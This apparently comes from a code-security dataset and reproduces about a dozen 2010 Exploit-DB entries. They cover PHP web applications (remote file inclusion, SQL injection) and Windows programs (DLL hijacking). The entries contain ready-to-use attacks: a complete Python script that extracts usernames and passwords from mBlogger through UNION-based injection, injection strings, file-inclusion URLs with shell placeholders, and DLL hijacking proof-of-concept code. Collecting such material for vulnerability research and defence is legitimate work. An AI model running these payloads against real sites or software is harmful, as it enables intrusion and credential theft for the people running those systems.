QLWD/code_shield huggingface dataset:
标题: Multi-lingual E-Commerce System 0.2 - Multiple Remote File Inclusions EDB-ID: 14835 CVE: 2010-3210 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-29 漏洞利用脚本: Multi-lingual E-Commerce System 0.2 Multiple Remote File Inclusion Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/projects/mlecsphp/

- CMS:

 A multi-lingual multi-currency PHP e-commerce system.

~ [RFI]

http://target/path/inc/checkout2-CYM.php?include_path=[shell.txt?]
http://target/path/inc/checkout2-EN.php?include_path=[shell.txt?]
http://target/path/inc/checkout2-FR.php?include_path=[shell.txt?]
http://target/path/inc/cat-FR.php?include_path=[shell.txt?]
http://target/path/inc/cat-EN.php?include_path=[shell.txt?]
http://target/path/inc/cat-CYM.php?include_path=[shell.txt?]
http://target/path/inc/checkout1-CYM.php?include_path=[shell.txt?]
http://target/path/inc/checkout1-EN.php?include_path=[shell.txt?]
http://target/path/inc/checkout1-FR.php?include_path=[shell.txt?]
http://target/path/inc/prod-CYM.php?include_path=[shell.txt?]
http://target/path/inc/prod-EN.php?include_path=[shell.txt?]
http://target/path/inc/prod-FR.php?include_path=[shell.txt?]
[and more] [...]


__h0__ URL: https://www.exploit-db.com/exploits/14835
标题: mBlogger 1.0.04 - 'viewpost.php' SQL Injection EDB-ID: 14849 CVE: 2010-4876 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-31 漏洞利用脚本: #!/usr/bin/python
#
# Exploit Title:   mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit
# Date         :   31 August 2010
# Author       :   Ptrace Security (Gianni Gnesa [gnix])
# Contact      :   research[at]ptrace-security[dot]com
# Software Link:   http://sourceforge.net/projects/mblogger/
# Version      :   1.0.04
# Tested on    :   EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + viewpost.php => SQL Injection!!
#
# 30: $query = "SELECT id, name, subject, message, posted FROM posts WHERE
#     id = '$_GET[postID]'";
# 31: $result = mysql_query($query) or die(mysql_error());
# 32: while($row = mysql_fetch_array($result, MYSQL_ASSOC))
# 33: {
# 34:  echo "<div class='posttitle'>";
# 35:  echo "<h3>" . $row['subject'] . "</h3>";
# 36:  echo "</div>";
# 37:  echo "<div class='postbody'>";
# 38:  echo "<p> Posted by: " . $row['name'] . " on " . $row['posted'] . "</p>";
# 39:  echo "<p>" . $row['message'] . "</p>";
# 40:  echo "</div>";
# 41:  $postID = $row['id'];
# 42: }
#

import re
import sys
import http.client


def usage(prog):
    print('Usage  : ' + prog + ' <target> <path>\n')
    print('Example: ' + prog + ' localhost /mBlogger/')
    print('         ' + prog + ' www.target.com /complet/path/')
    return


def exploit(target, path):
    payload  = 'viewpost.php?postID=-1%27%20UNION%20SELECT%201,%27h4x0r%27,%27'
    payload += 'credentials%27,CONCAT(%27%3C1%3E%27,username,%27:%27,password,'
    payload += '%27%3C2%3E%27),%20NULL%20FROM%20users%20--%20%27'

    print('[+] Sending HTTP Request')
    con = http.client.HTTPConnection(target)
    con.request('GET', path + payload)
    res = con.getresponse()

    if res.status != 200:
        print('[!] HTTP GET Request Failed')
        exit(1)

    print('[+] Parsing HTTP Response')
    data = res.read().decode()
    pattern = re.compile(r"<1>(.+?)<2>", re.M)
    
    print('[+] Information Extracted:\n') 
    credentials = pattern.findall(data)
    for element in credentials:
        print(element)
    
    return



print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit by Ptrace Security    |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 3:
    usage(sys.argv[0])
else:
    exploit(sys.argv[1], sys.argv[2])

exit(0) URL: https://www.exploit-db.com/exploits/14849
标题: XOOPS 2.0.14 - 'article.php' SQL Injection EDB-ID: 14828 CVE: 2008-2094 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-28 漏洞利用脚本: ##################################################################
##################################################################
#          ___   ___  _   _____        __                   _    #
#         / _ \ / _ \| | |  __ \      / _|                 | |   #
#    _ __| | | | | | | |_| |  | | ___| |_ __ _  ___ ___  __| |   #
#   | '__| | | | | | | __| |  | |/ _ \  _/ _` |/ __/ _ \/ _` |   #
#   | |  | |_| | |_| | |_| |__| |  __/ || (_| | (_|  __/ (_| |   #
#   |_|   \___/ \___/ \__|_____/ \___|_| \__,_|\___\___|\__,_|   #
#                                                                #
#                                                                #
#                                             +-+-+-+-+          #
#                                             |C|r|e|w|          #
#                                             +-+-+-+-+          #
##################################################################
##################################################################
# [#] XOOPS 2.0.14 (article.php) SQL Injection Vulnerability     #
# [#] Discovered By []0iZy5                                      #
# [#] http://r00tDefaced.com & uNkn0wn.eu(is back)               #
# [#] Greetz: Gn0515, Silic0n, my bb(denys) & r00tDefaced Members#
##################################################################
#
# [2]-SQL injection
#
# Vulnerability Description:
#               SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an #application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL #statements or user input is not strongly typed and thereby unexpectedly executed.
#
# Affected items:
#          http://127.0.0.1/path/modules/articles/article.php?id=[SQL Injection]
#          
# Example: -1337+uNiOn+sElEcT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- [You can find the number of vulnerable query]
# Demo: http://www.site.com/modules/articles/article.php?id=1%20union%20all%20select%201,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
#
# The Risk:
#     By exploiting this vulnerability, an attacker can inject malicious code in the script and can have access to the database.
#
# Fix the vulnerability:
#     To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, parametrized statements must be used #(preferred), or user input must be carefully escaped or filtered.
#
#################################################################
#################################################################
 
# r00tDefaced.com [28/08/2010] URL: https://www.exploit-db.com/exploits/14828
标题: DIY-CMS 1.0 - Multiple Remote File Inclusions EDB-ID: 14822 CVE: 2010-3206 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-28 漏洞利用脚本: # Exploit Title: [DiY-CMS 1.0 Remote File Inclusion ] 
# Date: [28-8-2010] 
# Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
# Software Link: [http://webscripts.softpedia.com/scriptDownload/DiY-CMS-Download-63258.html] 
# Version: [v 1.0 ] 
# Tested on: [Windows XP] 
# CVE : Hacker town of Musayyib
#Contact: LoSt.HaCkEr[at]yahoo[dot]com ~0r~ aDaM_TRoJaN@yahoo.com~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit: http://target/diycms_v1.0/diycms_v1.0/modules/guestbook/blocks/control.block.php?lang=[SHeLL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Exploit: http://target/diycms_v1.0/diycms_v1.0/index.php?main_module=[ShEll]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Exploit: http://target/diycms_v1.0/diycms_v1.0/includes/general.functions.php?getFile=[SHELL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers
  
  function toggle(obj) {
   var el = document.getElementById(obj);
   el.style.display = (el.style.display != 'none' ? 'none' : 'block' );
  } URL: https://www.exploit-db.com/exploits/14822
标题: iGaming CMS - Multiple SQL Injections EDB-ID: 14820 CVE: 2008-5841 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-27 漏洞利用脚本: ############################################################################
#                                                                          #
# Exploit Title: iGamingCMS1.5 multiple vulnirabilities                    #
#                                                                          #
# Date: 27/08/2010                                                         #
#                                                                          #
# Author: Sweet                                                            #
#                                                                          #
# Contact : charif38@hotmail.fr                                            #
#                                                                          #
# Software Link: http://www.igamingcms.com/                                #
#                                                                          # 
# Download: http://forums.igamingcms.com/forumdisplay.php?f=5              #
#                                                                          # 
# Version:1.5                                                              #
#                                                                          #
# Tested on: WinXp sp3                                                     #
#                                                                          #
# Risk : hight                                                             #
#                                                                          #
#                                                                          #
# Description : iGaming CMS is a content management                        #
#         system designed for gaming websites.                             # 
#                                                                          #
#                                                                          #
#                                                                          #
############################################################################

1-SQL injection:

http://www.example.com/igamingpath/games.php?order=1[SQLi]&section=111-222-1933email@address.tst&sort=desc

2-Blind injection:

http://www.example.com/igamingpath/games.php?order=title&section=111-222-1933email@address.tst'+and+31337-31337='0&sort=desc

http://www.example.com/igamingpath/index.php?do=viewarticle&id=1'+and+31337-31337='0


thx to Milw0rm.com , JF - Hamst0r - Keystroke  , inj3ct0r.com , exploit-db.com

Saha Ftourkoum et 1,2,3 viva L'Algerie :)) URL: https://www.exploit-db.com/exploits/14820
标题: textpattern CMS 4.2.0 - Remote File Inclusion EDB-ID: 14823 CVE: 2010-3205 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-28 漏洞利用脚本: #  Remote File Inclusion Vulnerability 
# ------------------------------------------------------------------------------
# Textpattern ( index.php ) 
# --------------------------------------------------------------
# [+] Author : Sn!pEr.S!Te Hacker
# [+] Email : Sniper-site@HoTmaiL.Com
# [+] Inj3ct0r Team Hacker #
# [+] 28-8-2010
# [+] Script : Programs » Textpattern  
# [+]Version: [4.2.0] # 
# [+] Download:http://textpattern.com/download
 ---------------------------------------------------------------
-=[ exploit ]=-


http://localhost/Textpattern/index.php?inc= [inj3ct0r RFI] 
  
http://127.0.0.1/Textpattern/index.php?inc= [inj3ct0r RFI]
----------------------------------------------------------------------
Line : 141

code : include $inc ;
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 

                   =========== Greetz ============
SeeMe ; Inj3ctOr ; Sid3^effects ; L0rd CrusAd3r ;indoushka ; The_Exploited

                ========all my friend ==========
* PrX Hacker * GaMzAh HaCkeR * AbUbAdR * mAsH3L ALLiL * DMaR AL-TMiMi |

* Sm Hacker * Dj Hacker * KaSpEr NaJd * Viros RooT *HaNniBaL KsA      |

=========================| -=[ THE END]=- |========================= URL: https://www.exploit-db.com/exploits/14823
标题: GaleriaSHQIP 1.0 - SQL Injection EDB-ID: 14826 CVE: 2010-3207 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-28 漏洞利用脚本: # Exploit Title: GaleriaSHQIP SQL Injection Vulnerability
# Date: 28.08.2010
# Author: Valentin
# Category: webapps/0day
# Version: v1.0 full

[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = GaleriaSHQIP SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = GaleriaSHQIP
Vendor = galeriashqip.com
Vendor Website = http://www.galeriashqip.com/
Affected Version(s) = 1.0 full, the lite version may also contain SQLi vulnerabilities

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
index.php?album_id=[SQL Injection]


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 28.08.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/14826
标题: Gaestebuch 1.2 - Remote File Inclusion EDB-ID: 14810 CVE: 2010-4884 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-26 漏洞利用脚本: ########################################################
                #                                                      #
                #          HINNENDAHL.COM Gaestebuch 1.2               #
                #                                                      #
                #       Remote File Inclusion Vulnerability            #
                #                                                      #
                #                 by bd0rk || SOH-Crew                 #                                     #                                                      #
                #                  www.soh-crew.it.tt                  #
                #                                                      #
                #            Contact: bd0rk[at]hackermail.com          #
                #                                                      #
                ########################################################


[~] Affected-Software: HINNENDAHL.COM Gaestebuch 1.2

[~] Vendor: http://www.hinnendahl.com/

[~] Download: http://www.hinnendahl.com/index.php?seite=download

[*] Greetz: inj3ct0r, DNX, Chip D3 Bi0s


Description: The $script_pfad parameter in /guestbook/gbook.php
             isn't declared before require. So an attacker can execute some
             php-shellcode about it. (line 3 - 4)



[+]Exploit: http://www.example.com/guestbook/gbook.php?script_pfad=[SHELLCODE]



### The 21 years old, german Hacker bd0rk ### <---white-hat :-) URL: https://www.exploit-db.com/exploits/14810
标题: Daemon Tools Lite - 'mfc80loc.dll' DLL Hijacking EDB-ID: 14791 CVE: 2010-5239 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
#Demon tool lite DLL Hijacking Exploit (mfc80loc.dll)
#Author : Mohamed Clay
#Greetz : linuxac.org && isecur1ty.org && security4arabs.com && v4-team.com && all My Friends
#note : EveryOne is happy with DLL Hijacking YooooPiiii!!!!
#Tested on: Windows XP

#How to use : Place a .mds file and mfc80loc.dll in same folder and execute .mds file in
#Demon tool lite.

#mfc80loc.dll (code)
*/

#include "stdafx.h"

void init() {
MessageBox(NULL,"Mohamed Clay", "Hacked",0x00000003);
}


BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
} URL: https://www.exploit-db.com/exploits/14791
标题: Google Earth 5.1.3535.3218 - 'quserex.dll' DLL Hijacking EDB-ID: 14790 CVE: 2010-3134 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

 Google Earth v5.1.3535.3218 (quserex.dll) DLL Hijacking Exploit

 Vendor: Google Inc.
 Product Web Page: http://www.google.com
 Affected Version: 5.1.3535.3218

 Summary: Google Earth lets you fly anywhere on Earth to view
 satellite imagery, maps, terrain, 3D buildings, from galaxies
 in outer space to the canyons of the ocean. You can explore
 rich geographical content, save your toured places, and share
 with others.

 Desc: Google Earth suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local
 level. The vulnerable extension is .kmz thru quserex.dll and
 wintab32.dll libraries.

 ----
 gcc -shared -o quserex.dll googlee.c

 Compile and rename to quserex.dll, create a file test.kmz and put
 both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  dll_mll();
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }

 return TRUE;
}

int dll_mll()
{
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14790
标题: Autodesk AutoCAD 2007 - 'color.dll' DLL Hijacking EDB-ID: 14793 CVE: 2010-5241 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
Description: 
A vulnerability exists in windows that allows other applications dynamic link libraries
to execute malicious code without the users consent, in the privelage context of the targeted application.

Title: Autocad 2007 Professional dll (color.dll) Hijacking exploit
Author: xsploited security
URL: http://www.x-sploited.com/
Email: xsploitedsecurity@gmail.com

Instructions:

1. Compile dll
2. Replace color.dll in autocad directory with your newly compiled dll
3. Launch Autocad 2007
4. Boom calc!

Shoutz:

kAoTiX, Deca, Drizzle, 0xJeremy, Sheep, SpliT, all other security guru's and teams.
*/

#include <windows.h>

int pwnme()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  pwnme();
  return 0;
} URL: https://www.exploit-db.com/exploits/14793
标题: kontakt formular 1.1 - Remote File Inclusion EDB-ID: 14809 CVE: 2010-4878 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-26 漏洞利用脚本: ########################################################
                #                                                      #
                # HINNENDAHL.COM Kontakt Formular 1.1 (formmailer.php) #
                #                                                      #
                #       Remote File Inclusion Vulnerability            #
                #                                                      #
                #                 by bd0rk || SOH-Crew                 #                                     #                                                      #
                #                  www.soh-crew.it.tt                  #
                #                                                      #
                #            Contact: bd0rk[at]hackermail.com          #
                #                                                      #
                ########################################################


[~] Affected-Software: HINNENDAHL.COM Kontakt Formular 1.1

[~] Vendor: http://www.hinnendahl.com/

[~] Download: http://www.hinnendahl.com/index.php?seite=download

[*] Greetz: inj3ct0r, DNX, Chip D3 Bi0s


Description: The $script_pfad parameter in /kontaktformular/formmailer.php
             isn't declared before require. So an attacker can execute some
             php-shellcode about it. (line 2 - 3)



[+]Exploit: http://www.example.com/kontaktformular/formmailer.php?script_pfad=[Ev!LC0de]



### The 21 years old, german Hacker bd0rk ### <---white-hat :-) URL: https://www.exploit-db.com/exploits/14809
标题: pecio CMS 2.0.5 - Multiple Remote File Inclusions EDB-ID: 14815 CVE: 2010-3204 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-27 漏洞利用脚本: ======================================================================
pecio CMS v2.0.5 (template) Multiple Remote File Include Vulnerability
======================================================================

Software Link: http://pecio-cms.com/
Download: http://pecio-cms.com/pec_upload/files/pecio-2.0.5.zip
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com

Original Advisories: http://eidelweiss-advisories.blogspot.com/2010/08/pecio-cms-v205-template-multiple-remote.html

Greetz: Inj3ct0r.com (Inj3ct0r Exploit DataBase), YOGYACARDERLINK, and all Indonesian Hacking Community.
Special Thank`s To: iwe a.k.a KirD , PKI a.k.a Andri klaten, m4rc0 (Thx so much,you know why and i`ll never forget you all)

================================================================

Pecio is a content management system written in PHP with the intention to be a small, simple and lightweight cms for people who want to create websites including old-style information and new-style blog part.
It doesn't mainly focus on ease of use and full featured user experience but rather on being a flexible and lightweight content editing solution for web masters.

================================================================

 -=[ Vuln c0de ]=-

<?php include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/header.php'); ?>

<?php include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/footer.php'); ?>

================================================================

 -=[ p0c ]=-

 http://sample.site/pecio_path/pec_templates/nova-blue/post.php?template= [inj3ct0r sh3ll]
 http://sample.site/pecio_path/pec_templates/nova-blue/article.php?template= [inj3ct0r sh3ll]
 http://sample.site/pecio_path/pec_templates/nova-blue/blog.php?template= [inj3ct0r sh3ll]
 http://sample.site/pecio_path/pec_templates/nova-blue/home.php?template= [inj3ct0r sh3ll]

================================================================

Nb:
Script kiddies please learn more about RFI vulnerability, its not just about include and require.
if just need or want to get name or exist , so people call you hacker after post or publish shit exploits it`s wrong way i thing !!!

=========================| =[Hacking Is Art]=- |====================== URL: https://www.exploit-db.com/exploits/14815
标题: NullSoft Winamp 5.581 - 'wnaspi32.dll' DLL Hijacking EDB-ID: 14789 CVE: 2010-3137 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

 Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit

 Vendor: Nullsoft.
 Product Web Page: http://www.winamp.com
 Affected Version: 5.581 (x86)

 Summary: Winamp is a media player for Windows-based PCs,
 written by Nullsoft, now a subsidiary of AOL. It is
 proprietary freeware/shareware, multi-format, extensible
 with plug-ins and skins, and is noted for its graphical
 sound visualization, playlist, and media library features.

 Desc: Winamp 5.581 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local
 level. The vulnerable extensions are .669, .aac, .aiff, .amf,
 .au, .avr, .b4s, .caf and .cda thru wnaspi32.dll and dwmapi.dll
 libraries.

 ----
 gcc -shared -o wnaspi32.dll winamp.c

 Compile and rename to wnaspi32.dll, create a file test.cda and put both
 files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  dll_mll();
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }

 return TRUE;
}

int dll_mll()
{
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14789